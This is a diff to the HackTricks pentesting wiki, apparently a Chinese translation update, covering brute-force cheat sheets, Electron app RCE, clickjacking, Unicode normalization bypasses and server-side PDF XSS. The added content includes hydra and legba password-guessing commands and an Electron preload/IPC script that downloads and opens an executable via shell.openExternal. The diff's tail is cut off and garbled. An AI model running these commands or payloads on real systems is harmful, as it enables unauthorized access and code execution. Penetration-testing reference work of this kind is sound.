diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index e014dbd95..f70142c5c 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,4 +1,4 @@ -# 暴力破解 - 备忘单 +# Brute Force - CheatSheet {{#include ../banners/hacktricks-training.md}} @@ -21,7 +21,7 @@ ## **创建你自己的字典** -尽可能多地收集目标的信息并生成自定义字典。可能有帮助的工具: +尽可能多地收集关于目标的信息并生成自定义字典。可能有帮助的工具: ### Crunch ```bash @@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` -### Cewl +### 基于网站的字典列表 ```bash +# Cewl gets words from the victims page cewl example.com -m 5 -w words.txt + +# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs +cat /path/to/urls.txt | tok + +# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs +cat /path/to/js-urls.txt | python3 getjswords.py ``` ### [CUPP](https://github.com/Mebus/cupp) @@ -46,7 +53,7 @@ python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -一个词汇生成工具,允许您提供一组单词,使您能够从给定的单词中制作多个变体,创建一个独特且理想的词汇表,以便针对特定目标使用。 +一个单词列表生成工具,允许您提供一组单词,使您能够从给定的单词中制作多个变体,创建一个独特且理想的单词列表,以便针对特定目标使用。 ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - Post 表单 +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https @@ -275,7 +282,7 @@ legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin - ```bash pip3 install cx_Oracle --upgrade ``` -[离线 OracleSQL 哈希暴力破解](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**): +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` @@ -332,6 +339,8 @@ hydra -l -P rlogin:// -v -V ```bash hydra -L rsh:// -v -V ``` +[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 @@ -391,13 +400,13 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` -#### 弱 SSH 密钥 / Debian 可预测的 PRNG +#### 弱 SSH 密钥 / Debian 可预测 PRNG 一些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少,可以使用工具如 [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) 进行暴力破解。也可以找到预生成的弱密钥集,如 [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 ### STOMP (ActiveMQ, RabbitMQ, HornetQ 和 OpenMQ) -STOMP 文本协议是一种广泛使用的消息传递协议,**允许与流行的消息队列服务无缝通信和交互**,如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。 +STOMP 文本协议是一种广泛使用的消息传递协议,**允许与流行的消息队列服务如 RabbitMQ、ActiveMQ、HornetQ 和 OpenMQ 进行无缝通信和交互**。它提供了一种标准化和高效的方法来交换消息和执行各种消息操作。 ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` @@ -440,8 +449,8 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt ### 在线破解数据库 - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/没有 ESS/SSP 和任何挑战值) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希, WPA2 捕获, 和 MSOffice, ZIP, PDF 的档案...) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 有/无 ESS/SSP 和任何挑战值) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (哈希, WPA2 捕获, 和 MSOffice, ZIP, PDF... 的档案) - [https://crackstation.net/](https://crackstation.net) (哈希) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) - [https://gpuhash.me/](https://gpuhash.me) (哈希和文件哈希) @@ -504,9 +513,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` -### PDF所有者密码 +### PDF Owner Password -要破解PDF所有者密码,请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +要破解 PDF 拥有者密码,请查看此链接: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -540,9 +549,9 @@ john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Luks图像 +### Lucks 图像 -#### 方法1 +#### 方法 1 安装: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash @@ -606,27 +615,27 @@ crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx **哈希示例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) -### 哈希识别器 +### Hash-identifier ```bash hash-identifier > ``` -### 字典 +### Wordlists - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) - [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **字典生成工具** +### **Wordlist Generation Tools** -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘行走生成器,具有可配置的基础字符、键盘映射和路线。 +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 高级键盘行走生成器,具有可配置的基本字符、键盘映射和路线。 ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` ### John mutation -阅读 _**/etc/john/john.conf**_ 并进行配置 +读取 _**/etc/john/john.conf**_ 并进行配置 ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index ad7c459ce..42fd4514e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file Electron 有 2 种进程类型: - 主进程(完全访问 NodeJS) -- 渲染进程(出于安全原因,应该限制对 NodeJS 的访问) +- 渲染进程(出于安全原因,NodeJS 访问应受到限制) ![](<../../../images/image (182).png>) @@ -32,12 +32,12 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -**renderer process** 的设置可以在 **main process** 中的 main.js 文件中进行 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。 +**renderer process** 的设置可以在 **main process** 中的 main.js 文件中 **配置**。一些配置将 **防止 Electron 应用程序获取 RCE** 或其他漏洞,如果 **设置正确配置**。 Electron 应用程序 **可以通过 Node apis 访问设备**,尽管可以配置以防止它: -- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 特性。 -- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不被隔离。 +- **`nodeIntegration`** - 默认情况下为 `off`。如果开启,允许从 renderer process 访问 node 功能。 +- **`contextIsolation`** - 默认情况下为 `on`。如果关闭,主进程和渲染进程不会隔离。 - **`preload`** - 默认情况下为空。 - [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认情况下为 off。它将限制 NodeJS 可以执行的操作。 - Node Integration in Workers @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -一些 **RCE payloads** 来自 [这里](https://7as.es/electron/nodeIntegration_rce.txt): +一些 **RCE payloads** 来自 [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): { ``` @@ -187,7 +187,7 @@ window.addEventListener('click', (e) => { 在部署 Electron 桌面应用程序时,确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已确定,**客户端远程代码执行 (RCE)** 针对预加载脚本或 Electron 的主进程本地代码在这些设置到位时有效防止。 -当用户与链接互动或打开新窗口时,会触发特定的事件监听器,这对应用程序的安全性和功能至关重要: +当用户与链接交互或打开新窗口时,会触发特定的事件监听器,这些监听器对应用程序的安全性和功能至关重要: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} @@ -224,13 +224,34 @@ window.open( ) ``` +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal + +此漏洞可以在 **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** 中找到。 + +**webviewTag** 是一个 **已弃用的特性**,允许在 **渲染进程** 中使用 **NodeJS**,应禁用此特性,因为它允许在预加载上下文中加载脚本,如: +```xml + +``` +因此,成功加载任意页面的攻击者可以使用该标签来**加载任意预加载脚本**。 + +然后,该预加载脚本被滥用以调用**易受攻击的IPC服务(`skype-new-window`)**,该服务调用**`shell.openExternal`**以获取RCE: +```javascript +(async() => { +const { ipcRenderer } = require("electron"); +await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH"); +setTimeout(async () => { +const username = process.execPath.match(/C:\\Users\\([^\\]+)/); +await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`); +}, 5000); +})(); +``` ## 读取内部文件:XSS + contextIsolation -**禁用 `contextIsolation` 使得可以使用 `` 标签**,类似于 ` ``` -`allow-forms` 和 `allow-scripts` 值允许在 iframe 内进行操作,同时禁用顶级导航。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。 +`allow-forms` 和 `allow-scripts` 值在禁用顶级导航的同时启用 iframe 内的操作。为了确保目标站点的预期功能,可能需要额外的权限,如 `allow-same-origin` 和 `allow-modals`,具体取决于攻击类型。浏览器控制台消息可以指导允许哪些权限。 ### 服务器端防御 @@ -139,7 +141,7 @@ sandbox="allow-forms allow-scripts"> #### 内容安全策略 (CSP) frame-ancestors 指令 -**CSP 中的 `frame-ancestors` 指令** 是防止 Clickjacking 的建议方法: +**CSP 中的 `frame-ancestors` 指令** 是建议的 Clickjacking 保护方法: - `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`。 - `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`。 diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 85c484030..9bc7b180c 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**这是一个总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 查看以获取更多详细信息(图像来自那里)。 +**这是一个总结:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 查看更多细节(图片来自那里)。 ## 理解 Unicode 和规范化 @@ -11,21 +11,21 @@ Unicode 规范化是一个确保字符的不同二进制表示标准化为相同 1. **规范等价性**:如果字符在打印或显示时具有相同的外观和含义,则认为它们是规范等价的。 2. **兼容等价性**:一种较弱的等价形式,其中字符可能表示相同的抽象字符,但可以以不同的方式显示。 -有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解,可以在 [Unicode.org](https://unicode.org/) 上探索这些技术。 +有 **四种 Unicode 规范化算法**:NFC、NFD、NFKC 和 NFKD。每种算法以不同的方式采用规范和兼容性规范化技术。要深入了解这些技术,可以在 [Unicode.org](https://unicode.org/) 上探索。 ### 关于 Unicode 编码的关键点 理解 Unicode 编码至关重要,特别是在处理不同系统或语言之间的互操作性问题时。以下是主要要点: -- **代码点和字符**:在 Unicode 中,每个字符或符号被分配一个称为“代码点”的数值。 -- **字节表示**:代码点(或字符)在内存中由一个或多个字节表示。例如,LATIN-1 字符(在英语国家常见)使用一个字节表示。然而,字符集较大的语言需要更多字节进行表示。 +- **码点和字符**:在 Unicode 中,每个字符或符号被分配一个称为“码点”的数值。 +- **字节表示**:码点(或字符)在内存中由一个或多个字节表示。例如,LATIN-1 字符(在英语国家常见)使用一个字节表示。然而,字符集较大的语言需要更多字节进行表示。 - **编码**:这个术语指的是字符如何转换为一系列字节。UTF-8 是一种流行的编码标准,其中 ASCII 字符使用一个字节表示,其他字符最多使用四个字节。 - **处理数据**:处理数据的系统必须了解所使用的编码,以正确地将字节流转换为字符。 - **UTF 的变体**:除了 UTF-8,还有其他编码标准,如 UTF-16(使用最少 2 个字节,最多 4 个)和 UTF-32(对所有字符使用 4 个字节)。 理解这些概念对于有效处理和减轻因 Unicode 的复杂性及其各种编码方法而产生的潜在问题至关重要。 -Unicode 如何规范化两个表示相同字符的不同字节的示例: +一个如何规范化两个不同字节表示相同字符的 Unicode 示例: ```python unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") ``` @@ -37,13 +37,13 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch 另一个 **例子**:`%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` 在 **unicode** 之后是 `Leonishan`。 -## **易受攻击的示例** +## **脆弱示例** ### **SQL 注入过滤器绕过** -想象一个网页,它使用字符 `'` 来创建带有用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **在创建** 查询之前,它 **使用 Unicode 规范化** 用户的输入。 +想象一个网页使用字符 `'` 来创建包含用户输入的 SQL 查询。这个网页作为安全措施,**删除** 用户输入中所有出现的字符 **`'`**,但 **在删除之后** 和 **创建查询之前**,它 **使用 Unicode 规范化** 用户的输入。 -然后,一个恶意用户可以插入一个不同的 Unicode 字符,等效于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**: +然后,一个恶意用户可以插入一个不同的 Unicode 字符,等同于 `' (0x27)`,如 `%ef%bc%87`,当输入被规范化时,会创建一个单引号,从而出现 **SQL 注入漏洞**: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -79,26 +79,36 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch https://github.com/carlospolop/sqlmap_to_unicode_template {{#endref}} -### XSS(跨站脚本攻击) +### XSS (跨站脚本攻击) -您可以使用以下字符之一来欺骗 web 应用程序并利用 XSS: +您可以使用以下字符之一来欺骗 webapp 并利用 XSS: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) -请注意,例如,第一个提议的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e` +请注意,例如,第一个建议的 Unicode 字符可以发送为:`%e2%89%ae` 或 `%u226e` ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>) ### 模糊测试正则表达式 -当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在开放重定向或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。 +当后端 **使用正则表达式检查用户输入** 时,**输入** 可能会为 **正则表达式** 进行 **规范化**,但 **不** 会为其 **使用** 的地方进行 **规范化**。例如,在 Open Redirect 或 SSRF 中,正则表达式可能会 **规范化发送的 URL**,但随后 **按原样访问**。 工具 [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* 允许 **生成输入的变体** 以模糊测试后端。有关更多信息,请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/)。 +## Unicode 溢出 + +来自这篇 [博客](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows),字节的最大值为 255,如果服务器存在漏洞,可以制作溢出以生成特定且意外的 ASCII 字符。例如,以下字符将被转换为 `A`: + +- 0x4e41 +- 0x4f41 +- 0x5041 +- 0x5141 + ## 参考文献 - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) +- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md index 947030524..b8d16d507 100644 --- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md +++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md @@ -4,25 +4,25 @@ ## 服务器端 XSS(动态 PDF) -如果一个网页使用用户控制的输入创建 PDF,你可以尝试**欺骗创建 PDF 的机器人**来**执行任意 JS 代码**。\ +如果一个网页使用用户控制的输入创建 PDF,你可以尝试**欺骗创建 PDF 的机器人**使其**执行任意 JS 代码**。\ 因此,如果**PDF 创建机器人发现**某种**HTML** **标签**,它将会**解释**这些标签,你可以**利用**这种行为导致**服务器 XSS**。 -请注意,`` 标签并不总是有效,因此你需要使用不同的方法来执行 JS(例如,利用 `` 标签并不总是有效,因此你需要使用不同的方法来执行 JS(例如,利用` + @@ -32,10 +32,26 @@ + + + + + + + + + + + + +